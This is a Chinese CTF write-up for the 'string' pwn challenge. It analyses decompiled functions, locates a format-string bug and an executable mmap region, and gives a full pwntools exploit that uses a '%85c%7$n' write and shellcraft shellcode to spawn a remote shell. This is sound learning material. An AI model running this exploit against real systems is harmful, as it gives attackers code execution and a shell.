题目:string
进PE或者checksec
64位程序
堆栈不可执行以及栈保护
运行一遍好像是一个文字游戏
剧情游戏?分析一波主要任务分支:
情况1:开始游戏,啥也不输入,60秒之后程序自动关闭
情况2:开始游戏,输入名称,名称超过了12个字符,直接出局
情况3:开始游戏,输入小于12个字符的名称,进入剧情问我走east还是up,如果选择up程序会一直死循环
情况4:开始游戏,输入小于12个字符的名称,进入剧情走east,然后问我选择1还是0,选择0,原地暴毙
情况5:开始游戏,输入小于12个字符的名称,进入剧情走east,选择1,继续问我要地址,不清楚随便写;还要我wish一下,随便写;然后暴毙
进64位IDA
先总结一下,程序主要走了如下几个函数:
sub_400E0B(龙图):输出龙的图案以及前言信息
sub_400D72(注册):进入注册用户的剧情,用户名小于12字符
sub_400A7D(走东):注册完问你向东走还是向上走,好像只能向东走
sub_400BB9(钻洞):选1还是选0,选0直接挂,选1存在一个格式化字符漏洞
sub_400CA6(男巫):满足if判断后有一个巫师剧情,估计需要在这里动手脚
其一:sub_400E0B(龙图)
反编译出源码
摘出源码:
__int64 __fastcall sub_400E0B(__int64 a1, __int64 a2)
{
__int64 v2; // ST88_8@1
void *v3; // rax@1
__int64 v4; // ST18_8@1
__int64 result; // rax@1
__int64 v6; // rdx@1
v2 = *MK_FP(__FS__, 40LL);
setbuf(stdout, 0LL);
alarm(0x3Cu); #这里是60秒计时退游
sub_400996(); #这里是打印龙
v3 = malloc(8uLL); #声明了一个8字节的v3
v4 = (__int64)v3; #把v3给v4
*(_DWORD *)v3 = 68;#把v3低四位赋值上68
*((_DWORD *)v3 + 1) = 85;#把v3高四位赋值上85
puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ...");
puts("we will tell you two secret ...");
printf("secret[0] is %x\n", v4, a2);#输出低四位地址
printf("secret[1] is %x\n", v4 + 4);#输出高四位地址
puts("do not tell anyone ");
sub_400D72(v4);#进入注册,v4就是v3
puts("The End.....Really?");
result = 0LL;
v6 = *MK_FP(__FS__, 40LL) ^ v2;
return result;
}
暂且没有什么可以构造的地方,但注意,上次测试的时候最后需要我们填写一个地址,可能这里两个高四位低四位地址需要用到
其二:sub_400D72(注册)
摘出代码:
__int64 __fastcall sub_400D72(__int64 a1)#a1就是上个函数里的v4
{
char s; // [sp+10h] [bp-20h]@1
__int64 v3; // [sp+28h] [bp-8h]@1
v3 = *MK_FP(__FS__, 40LL);
puts("What should your character's name be:");
_isoc99_scanf(4201099LL, &s); #在这里输入名字
if ( strlen(&s) <= 0xC ) #判断长度,大于12直接退出
{
puts("Creating a new player.");
sub_400A7D();#东走
sub_400BB9();#钻洞
sub_400CA6(a1);#男巫
}
else
{
puts("Hei! What's up!");
}
return *MK_FP(__FS__, 40LL) ^ v3;
}
没什么重点,只要名称小于12即可
其三:sub_400A7D(走东)
摘代码:
__int64 sub_400A7D()
{
char s1; // [sp+0h] [bp-10h]@2
__int64 v2; // [sp+8h] [bp-8h]@1
v2 = *MK_FP(__FS__, 40LL);
puts(" This is a famous but quite unusual inn. The air is fresh and the");
puts("marble-tiled ground is clean. Few rowdy guests can be seen, and the");
puts("furniture looks undamaged by brawls, which are very common in other pubs");
puts("all around the world. The decoration looks extremely valuable and would fit");
puts("into a palace, but in this city it's quite ordinary. In the middle of the");
puts("room are velvet covered chairs and benches, which surround large oaken");
puts("tables. A large sign is fixed to the northern wall behind a wooden bar. In");
puts("one corner you notice a fireplace.");
puts("There are two obvious exits: east, up.");
puts("But strange thing is ,no one there.");
puts("So, where you will go?east or up?:");
while ( 1 )
{
_isoc99_scanf(4201099LL, &s1);
if ( !strcmp(&s1, "east") || !strcmp(&s1, "east") )#如果即不是east也不是up则循环
break;
puts("hei! I'm secious!");
puts("So, where you will go?:");
}
if ( strcmp(&s1, "east") )
{
if ( !strcmp(&s1, "up") )#这里是判断为east之后再判断是否为up,虽然逻辑上很奇葩,但妨碍不大不用管
sub_4009DD(&s1, 4201149LL);
puts("YOU KNOW WHAT YOU DO?");
exit(0);
}
return *MK_FP(__FS__, 40LL) ^ v2;
}
重点就是必须要走east,其他没有什么问题
其四:sub_400BB9(钻洞)
摘代码:
__int64 sub_400BB9()
{
int v1; // [sp+4h] [bp-7Ch]@1
__int64 v2; // [sp+8h] [bp-78h]@1
char format; // [sp+10h] [bp-70h]@2
__int64 v4; // [sp+78h] [bp-8h]@1
v4 = *MK_FP(__FS__, 40LL);
v2 = 0LL;
puts("You travel a short distance east.That's odd, anyone disappear suddenly");
puts(", what happend?! You just travel , and find another hole");
puts("You recall, a big black hole will suckk you into it! Know what should you do?");
puts("go into there(1), or leave(0)?:");
_isoc99_scanf(4200346LL, &v1);
if ( v1 == 1 )#判断是必须钻1号洞才能触发,不是1则触发下一个函数
{
puts("A voice heard in your mind");
puts("'Give me an address'");
_isoc99_scanf(4201472LL, &v2);#输入一个地址
puts("And, you wish is:");
_isoc99_scanf(4201099LL, &format);#输入一个愿望,这里可以构造
puts("Your wish is");
printf(&format, &format);#格式化字符攻击漏洞
puts("I hear it, I hear it....");
}
return *MK_FP(__FS__, 40LL) ^ v4;
}
重点就是格式化字符漏洞在这儿,后期想办法利用
其五:sub_400CA6(男巫)
摘代码:
__int64 __fastcall sub_400CA6(__int64 a1)#v4被拿进来了
{
void *v1; // rsi@2
__int64 v3; // [sp+18h] [bp-8h]@1
v3 = *MK_FP(__FS__, 40LL);
puts("Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!");
puts("Dragon say: HaHa! you were supposed to have a normal");
puts("RPG game, but I have changed it! you have no weapon and ");
puts("skill! you could not defeat me !");
puts("That's sound terrible! you meet final boss!but you level is ONE!");
if ( *(_DWORD *)a1 == *(_DWORD *)(a1 + 4) )#判断a1,也就是v4的低四位地址是否跟高四位地址相等
{
puts("Wizard: I will help you! USE YOU SPELL");
v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);#mmap点进去会有地址,flag等字眼,并给mmap分配了一块1000h大小的空间
read(0, v1, 0x100uLL);#read到的内容存进空间
((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);#调用
}
return *MK_FP(__FS__, 40LL) ^ v3;
}
分析:
参考网上资料分析说这里最后的mmap是一块可执行区域,可以通过写入shellcode的方式来获取shell,但找到这块可执行内存的前提是让之前的v4其低四位和高四位地址都是相等的。
且倒数第二个钻洞的函数存在格式化字符漏洞,我们可以经由这里把v4低四位或者高四位的地址给更改掉,从而让它们相等
且在格式化字符中,我们需要通过上方的v2变量控制下方的format
已知64位程序的前 6 个参数是放在寄存器中的,所以在构造payload偏移的时候末尾应该是%7$n
完整脚本:
from pwn import *
p = remote("220.249.52.133", 31059)
#题目会在一开始输出secret[0]低四位地址和secret[1]高四位地址
p.recvuntil('secret[0] is ')
#截取v4的低四位地址,从末尾的\n往前切,并把它经由16进制转化成十进制保存
addr = int(p.recvuntil('\n')[:-1], 16)
p.recvuntil('name be:\n')
p.sendline('deeeelete') #随便写名字
p.recvuntil('up?:\n')
p.sendline('east') #必须向东
p.recvuntil('leave(0)?:')
p.sendline('1')#必须是1才能找到格式化字符漏洞
p.recv('give me a address')
p.sendline(str(addr))#将保存着的低四位地址打成字符输入
p.recv('wish')
#%85是因为前面龙图函数里将高四位赋值进了85
#最后巫师函数判断要求低四位等于高四位
#已知我们已经保存了低四位的地址在addr里并输入了
#这里利用格式化字符漏洞将低四位改成高四位的地址从而使判断成立
p.sendline('%85c%7$n')
rec = p.recvuntil('SPELL\n')
#构造shellcode,针对linux系统以及64位程序
context(os='linux', arch='amd64')
p.sendline(asm(shellcraft.sh()))
p.interactive()
执行: